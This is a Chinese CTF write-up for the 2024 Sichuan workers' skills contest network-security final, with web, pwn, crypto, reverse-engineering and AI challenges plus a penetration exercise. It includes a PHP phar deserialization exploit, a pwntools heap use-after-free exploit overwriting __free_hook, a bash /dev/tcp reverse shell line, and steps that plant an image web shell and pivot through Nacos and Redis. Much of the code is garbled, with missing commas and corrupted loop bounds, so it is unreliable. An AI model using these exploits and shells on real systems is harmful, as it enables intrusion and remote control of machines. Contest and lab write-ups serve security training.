四川省职工职业技能大赛网络安全决赛题解

WriteUp 2个月前 admin
49 0 0

后台回复“2024省赛”获取题目附件

上午CTF部分

web

simplelogin

yakit爆破出密码,记得应该是a123456:

四川省职工职业技能大赛网络安全决赛题解

ppopp

index.php有一个任意文件读取:

<?php
//upload.php
error_reporting(0);
highlight_file(__FILE__);
class A {
    public $a;
    public function __destruct()
    {
        $s=$this->$a;
        $s();
    }
}
class B{
    public $cmd;
    function __invoke(){        
        return $this->start();
    }
    function start(){
        echo system($this->cmd);
    }
}
if(isset($_GET['file'])) {
    if(strstr($_GET['file'], "flag")) {
        die("Get out!");
    }
    echo file_get_contents($_GET['file']);
}
?>

读取upload.php:

<!--?php
error_reporting(0);
if(isset($_FILES['file'])) {
    mkdir("upload");
    $uuid = uniqid();
    $ext = explode("."$_FILES["file"]["name"]);
    $ext = end($ext);
    move_uploaded_file($_FILES['file']['tmp_name'], "upload/".$uuid.".png");
    echo "Upload Success! FilePath: upload/".$uuid.".png";
}-->

上传的文件会被改后缀为.png

尝试上传phar文件,并用首页的file_get_contents触发反序列化执行命令:

// phar.php

<?php // phar.php
class A {
    public $a;

    public function __destruct()
    {
        $s=$this->a;
        $s();
    }
}
class B{
    public $cmd;
    function __construct(){
        $this->$cmd = "cat flag";
    }
    function __invoke(){        
        return $this->start();
    }
    function start(){
        system($this->cmd);
    }
}
$b = new B();
$b->cmd = "cat /flag";
$a = new A();
$a->a = $b;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("a.txt""abb"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>

上传后访问:

四川省职工职业技能大赛网络安全决赛题解

misc

ftp

流量提取zip,然后密码一样password1234567890

四川省职工职业技能大赛网络安全决赛题解


crypto

baby_与佛论禅

aes但是对结果进行了异或后转换成字符,所以转回去解aes就可以

ruShiWoWen   = [
    '謹''穆''僧''室''藝''瑟''彌''提''蘇''醯''盧''呼''舍''參''沙''伊',
    '隸''麼''遮''闍''度''蒙''孕''薩''夷''他''姪''豆''特''逝''輸''楞',
    '栗''寫''數''曳''諦''羅''故''實''訶''知''三''藐''耨''依''槃''涅',
    '竟''究''想''夢''倒''顛''遠''怖''恐''礙''以''亦''智''盡''老''至',
    '吼''足''幽''王''告''须''弥''灯''护''金''刚''游''戏''宝''胜''通',
    '药''师''琉''璃''普''功''德''山''善''住''过''去''七''未''来''贤',
    '劫''千''五''百''万''花''亿''定''六''方''名''号''东''月''殿''妙',
    '尊''树''根''西''皂''焰''北''清''数''精''进''首''下''寂''量''诸',
    '多''释''迦''牟''尼''勒''阿''閦''陀''中''央''众''生''在''界''者',
    '行''于''及''虚''空''慈''忧''各''令''安''稳''休''息''昼''夜''修',
    '持''心''求''诵''此''经''能''灭''死''消''除''毒''害''高''开''文',
    '殊''利''凉''如''念''即''说''曰''帝''毘''真''陵''乾''梭''哈''敬',
    '禮''奉''祖''先''孝''雙''親''守''重''師''愛''兄''弟''信''朋''友',
    '睦''宗''族''和''鄉''夫''婦''教''孫''時''便''廣''積''陰''難''濟',
    '急''恤''孤''憐''貧''創''廟''宇''印''造''經''捨''藥''施''茶''戒',
    '殺''放''橋''路''矜''寡''拔''困''粟''惜''福''排''解''紛''捐''資']
enc = "急陰印诵愛謹者時守蒙薩宝至勒量央多牟德殺拔万诸心弥闍忧生诵惜惜矜藥稳灯经急琉羅贤迦弟消吼释心姪室經藝幽他信想室幽究除利宗护及闍究究劫信逝此栗究兄寫树寡鄉弥幽信去"
dec = b''
for i in enc:
    dec += (ruShiWoWen.index(i) ^ 64).to_bytes(1'little')


KEY = b'DASCTF@Key@^_^@Encode!!Buddha!!!'
IV = b'IV|DASCTF|OvO|IV'
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
cryptor = AES.new(KEY, AES.MODE_CBC, IV)
# padded_data = pad(data.encode('utf-8'), AES.block_size)
encrypted_data = cryptor.decrypt(dec)
print(encrypted_data)

四川省职工职业技能大赛网络安全决赛题解

re

NormalAndroid

jadx打开看到只调用了so里的一个函数,ida跟过去看:

四川省职工职业技能大赛网络安全决赛题解

能看到一个类似key的东西,并且对key进行了变换:

四川省职工职业技能大赛网络安全决赛题解

表:

四川省职工职业技能大赛网络安全决赛题解

然后进入到加密逻辑是一个AES加密,跟过去是S盒被改过:

四川省职工职业技能大赛网络安全决赛题解

所以就是找一个aes实现的代码改一下S盒,然后用变换过的key解密,因为断网比赛,当时没存脚本所以没做出来:

from Crypto.Util.number import long_to_bytes, bytes_to_long

# https://github.com/bozhu/AES-Python/blob/master/aes.py
    
Sbox = (
    0xBE0xB40x9F0x700xDB0xAD0x310x300x6C0x87
    0x740x270xC90x4C0x670x620x0A0x360x080xC8
    0x960x320x000xF10x380x650xEC0xED0x440x25
    0xAA0x330x860xEF0x0D0x190x7D0xD50x450xFB
    0x8D0x610xFE0x500x470x7E0x7C0xF90x010xDE
    0xFF0xE10xAC0x5D0xB50x8E0x480xBF0x900x9D
    0x790xCB0xA60xA90xFC0x340xCF0x630x5A0x99
    0x980xB80x920x2D0x020x890x2C0x3B0x150x72
    0x5E0x600x290x6F0x0B0x240x6D0x1C0x5B0xE0
    0x370xA40xCC0x120x930xA70x090xC60xB60x8F
    0x040x200xE80x460xB10xAE0x3A0x680x810xCE
    0x2B0x0C0xB30x3E0xC00x0E0x4D0xD80xD20xA2
    0x9E0x560x280xB00x350x1B0x5F0xF50x050xBC
    0x3C0x4F0x8C0xE60xF60x750xF40xF80xDD0x11
    0xC10xB90x4E0x970xD60xF20xE40xD10x820xD3
    0x030x8B0x4B0xCA0x640xEB0xAB0x710xA10xBA
    0xA80x6A0x1E0x1A0xA50x490x6E0x530x660x39
    0x510xE90x260xC40xDA0x550x3F0xEA0x850x8A
    0xD90x130x690x1F0xE20x7F0x2F0xC50x880x57
    0x730xA30xE30x0F0xBB0x180xE50x420x220x52
    0x430x800x2A0x6B0x170xD70x230x060x580x1D
    0x7A0x840xE70xEE0xD00x410xD40xBD0xA00xC3
    0xC20xFD0x210x540xDF0x7B0xB70xF00xB20x77
    0x3D0x070x780x160x9C0x590xAF0x2E0x830xFA
    0x9B0x950xF70x400x940xF30xCD0xC70x910x10
    0xDC0x4A0x140x9A0x5C0x76
)

InvSbox = [Sbox.index(i) for i in range(256)]

# learnt from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFFif (a & 0x80else (a << 1)


Rcon = (
    0x000x010x020x040x080x100x200x40,
    0x800x1B0x360x6C0xD80xAB0x4D0x9A,
    0x2F0x5E0xBC0x630xC60x970x350x6A,
    0xD40xB30x7D0xFA0xEF0xC50x910x39,
)


def text2matrix(text):
    matrix = []
    for i in range(16):
        byte = (text >> (8 * (15 - i))) & 0xFF
        if i % 4 == 0:
            matrix.append([byte])
        else:
            matrix[i // 4].append(byte)
    return matrix


def matrix2text(matrix):
    text = 0
    for i in range(4):
        for j in range(4):
            text |= (matrix[i][j] << (120 - 8 * (4 * i + j)))
    return text


class AES:
    def __init__(self, master_key):
        self.change_key(master_key)

    def change_key(self, master_key):
        self.round_keys = text2matrix(master_key)
        # print self.round_keys

        for i in range(44 * 11):
            self.round_keys.append([])
            if i % 4 == 0:
                byte = self.round_keys[i - 4][0]        
                     ^ Sbox[self.round_keys[i - 1][1]]  
                     ^ Rcon[i // 4]
                self.round_keys[i].append(byte)

                for j in range(14):
                    byte = self.round_keys[i - 4][j]    
                         ^ Sbox[self.round_keys[i - 1][(j + 1) % 4]]
                    self.round_keys[i].append(byte)
            else:
                for j in range(4):
                    byte = self.round_keys[i - 4][j]    
                         ^ self.round_keys[i - 1][j]
                    self.round_keys[i].append(byte)

        # print self.round_keys

    def encrypt(self, plaintext):
        self.plain_state = text2matrix(plaintext)

        self.__add_round_key(self.plain_state, self.round_keys[:4])

        for i in range(110):
            self.__round_encrypt(self.plain_state, self.round_keys[4 * i : 4 * (i + 1)])

        self.__sub_bytes(self.plain_state)
        self.__shift_rows(self.plain_state)
        self.__add_round_key(self.plain_state, self.round_keys[40:])

        return matrix2text(self.plain_state)

    def decrypt(self, ciphertext):
        self.cipher_state = text2matrix(ciphertext)

        self.__add_round_key(self.cipher_state, self.round_keys[40:])
        self.__inv_shift_rows(self.cipher_state)
        self.__inv_sub_bytes(self.cipher_state)

        for i in range(90, -1):
            self.__round_decrypt(self.cipher_state, self.round_keys[4 * i : 4 * (i + 1)])

        self.__add_round_key(self.cipher_state, self.round_keys[:4])

        return matrix2text(self.cipher_state)

    def __add_round_key(self, s, k):
        for i in range(4):
            for j in range(4):
                s[i][j] ^= k[i][j]


    def __round_encrypt(self, state_matrix, key_matrix):
        self.__sub_bytes(state_matrix)
        self.__shift_rows(state_matrix)
        self.__mix_columns(state_matrix)
        self.__add_round_key(state_matrix, key_matrix)


    def __round_decrypt(self, state_matrix, key_matrix):
        self.__add_round_key(state_matrix, key_matrix)
        self.__inv_mix_columns(state_matrix)
        self.__inv_shift_rows(state_matrix)
        self.__inv_sub_bytes(state_matrix)

    def __sub_bytes(self, s):
        for i in range(4):
            for j in range(4):
                s[i][j] = Sbox[s[i][j]]


    def __inv_sub_bytes(self, s):
        for i in range(4):
            for j in range(4):
                s[i][j] = InvSbox[s[i][j]]


    def __shift_rows(self, s):
        s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
        s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
        s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]


    def __inv_shift_rows(self, s):
        s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
        s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
        s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]

    def __mix_single_column(self, a):
        # please see Sec 4.1.2 in The Design of Rijndael
        t = a[0] ^ a[1] ^ a[2] ^ a[3]
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)


    def __mix_columns(self, s):
        for i in range(4):
            self.__mix_single_column(s[i])


    def __inv_mix_columns(self, s):
        # see Sec 4.1.3 in The Design of Rijndael
        for i in range(4):
            u = xtime(xtime(s[i][0] ^ s[i][2]))
            v = xtime(xtime(s[i][1] ^ s[i][3]))
            s[i][0] ^= u
            s[i][1] ^= v
            s[i][2] ^= u
            s[i][3] ^= v

        self.__mix_columns(s)

key = b"Hi Android!0oO00"
table = [
    0x0A0x020x010x0D0x0B0x090x0E0x080x070x05
    0x000x040x0F0x030x060x0C
]
key = bytes([key[i] for i in table])

enc = [
    0x290x9C0xB00x7E0x810x550x5B0x080x550x6F
    0x700xC80x2A0x8B0xA40xC80xA30x3A0x600x9B
    0x6E0xFD0xDC0x7A0xC70x6B0xCC0xAC0x320xB3
    0xDF0x3E
]

flag = b""
cipher = AES(bytes_to_long(key))
dec = cipher.decrypt(bytes_to_long(bytes(enc[:16])))
# print(long_to_bytes(dec))
flag += long_to_bytes(dec)
dec = cipher.decrypt(bytes_to_long(bytes(enc[16:])))
# print(long_to_bytes(dec))
flag += long_to_bytes(dec)
print(flag)

pwn

shopping

添加一个货物会分配两个0x98,释放后没置空导致存在uaf,创建多个堆块后释放到unsorted bin泄露libc,然后利用编辑功能修改tcache的bk为freehook,填入one_gadget利用

from pwn import *
libc = ELF("./libc.so.6")
# p = process("./pwn_1")
p = remote("10.1.100.34"9999)
# context.log_level = 'debug'
def add(content):
    p.sendlineafter(": "b"2")
    p.sendlineafter(": "b"1")
    p.sendlineafter(":", content)

def free(idx):
    p.sendlineafter(": "b"3")
    p.sendlineafter(": "str(idx).encode())

def show():
    p.sendlineafter(": "b"5")

def edit(idx, content):
    p.sendlineafter(": "b"4")
    p.sendlineafter(": "str(idx).encode())
    p.sendlineafter(":", content)

for i in range(9):
    add(b'a')
for i in range(8):
    free(i)

show()
p.recvuntil(b"------------------------------n")
heap = int(p.recvuntil(b" "), 10) - 0xc50
success(f"heap: {hex(heap)}")
p.recvuntil(b"------------------------------n")
p.recvuntil(b"------------------------------n")
libc.address = int(p.recvuntil(b" "), 10) - 0x3ebca0
success(f"libc: {hex(libc.address)}")
# pause()
edit(3, p64(libc.sym['__free_hook']))
add(p64(libc.address + 0x4f302))
add(p64(libc.address + 0x4f302))
free(0)
p.interactive()

四川省职工职业技能大赛网络安全决赛题解

ai

scene-1

import csv
from collections import defaultdict

# Load the data from the CSV file
with open('data/network_traffic_logs_q1.csv''r', encoding='utf-8'as csvfile:
    reader = csv.DictReader(csvfile)
    data = [row for row in reader]

# Step 1: Count the number of each event type
event_type_count = defaultdict(int)
for row in data:
    event_type_count[row['event_type']] += 1

# print(event_type_count)
top_source_ip = {}
for row in data:
    if row['source_ip'not in top_source_ip.get(row['event_type'], []):
        top_source_ip.setdefault(row['event_type'], []).append(row['source_ip'])
    else:
        # top_source_ip[row['event_type']].remove(row['source_ip'])
        top_source_ip[row['event_type']].append(row['source_ip'])

def max_times(l):
    a = {}
    for i in l:
        if a.get(i):
            a[i] += 1
        else:
            a[i] = 1
    max = 0
    top = ''
    for i, j in a.items():
        if max < j:
            max = j
            top = i
    print(top)
    return top

# Step 3: Generate the output CSV file
with open('output.csv''w', encoding='utf-8'as csvfile:
    writer = csv.writer(csvfile)
    writer.writerow(['event_type''event_type_count''top_source_ip'])
    for event_type, count in event_type_count.items():
        writer.writerow([event_type, count, max_times(top_source_ip[event_type])])

四川省职工职业技能大赛网络安全决赛题解

scene-2

import pandas as pd
import ipaddress
import csv
data = pd.read_csv("./data/network_traffic_logs_q2.csv", dtype={'source_ip'str'destination_port'str'source_port'str'destination_port'str}, encoding='utf-8')

# timestamp,source_ip,destination_ip,source_port,destination_port,packet_size

# data['connection'] = int(ipaddress.IPv4Address(data['source_ip'])) + '-' + data['source_port'] + '-' + int(ipaddress.IPv4Address(data['destination_ip'])) + '-' + data['destination_port']
# data['connection'] = int(ipaddress.IPv4Address(data['source_ip']))
# data.to_csv('result.csv', index=False, encoding='utf-8')
source_ips = []
for i in data['source_ip']:
    source_ips.append(str(int(ipaddress.IPv4Address(i))))
source_ports = []
for i in data['source_port']:
    source_ports.append(i)
destination_ips = []
for i in data['destination_ip']:
    destination_ips.append(str(int(ipaddress.IPv4Address(i))))
destination_ports = []
for i in data['destination_port']:
    destination_ports.append(i)
sizes = []
for i in data['packet_size']:
    sizes.append(i)

result = {}
for i in range(len(source_ips)):
    temp = source_ips[i] + "-" + source_ports[i] + "-" + destination_ips[i] + "-" + destination_ports[i]
    if not result.get(temp):
        result[temp] = sizes[i]
    else:
        result[temp] += sizes[i]
# print(result)
with open('output.csv''w', encoding='utf-8'as csvfile:
    writer = csv.writer(csvfile)
    writer.writerow(['connection''total_packet_size'])
    for connection, total_packet_size in result.items():
        writer.writerow([connection, total_packet_size])

四川省职工职业技能大赛网络安全决赛题解

另外两个AI题目,准备了本地的llama3和codellama的大模型(用ollama),但是比赛的时候没能成功让大模型写出来解题代码。

下午国产化环境漏洞挖掘赛部分

flag1

上来打开robots.txt:

四川省职工职业技能大赛网络安全决赛题解

然后扫到一个DS_Store

四川省职工职业技能大赛网络安全决赛题解

打开能看到test.php,同时扫描器也扫到test.php,可以上传文件

flag2

上传图片,有一些检查,所以直接在正常图片末尾加一句话木马,蚁剑连接

四川省职工职业技能大赛网络安全决赛题解

弹个shell回来:

bash -i >& /dev/tcp/10.50.137.28/23333 0>&1

上传fscan,cat /proc/net/arp看内网,然后扫网段192.168.35.1/24

然后拉代理出来

flag3

四川省职工职业技能大赛网络安全决赛题解

xray扫到一台nacos,用vulhub的脚本挂代理打:

四川省职工职业技能大赛网络安全决赛题解

登陆后看到flag3:

四川省职工职业技能大赛网络安全决赛题解

flag7

nacos里的另一个配置文件里有一个密码xinchuang123qwe,用这个密码连redis,写公钥然后SSH上去可以看到flag7,在192的机器里。

flag10

flag10要求计算麒麟主机的/proc/version的md5,实际上就是入口机器,但是这个文件用哥斯拉的马才能读取:

四川省职工职业技能大赛网络安全决赛题解

四川省职工职业技能大赛网络安全决赛题解

四川省职工职业技能大赛网络安全决赛题解




四川省职工职业技能大赛网络安全决赛题解


原文始发于微信公众号(BeFun安全实验室):四川省职工职业技能大赛网络安全决赛题解

版权声明:admin 发表于 2024年8月1日 下午4:19。
转载请注明:四川省职工职业技能大赛网络安全决赛题解 | CTF导航

相关文章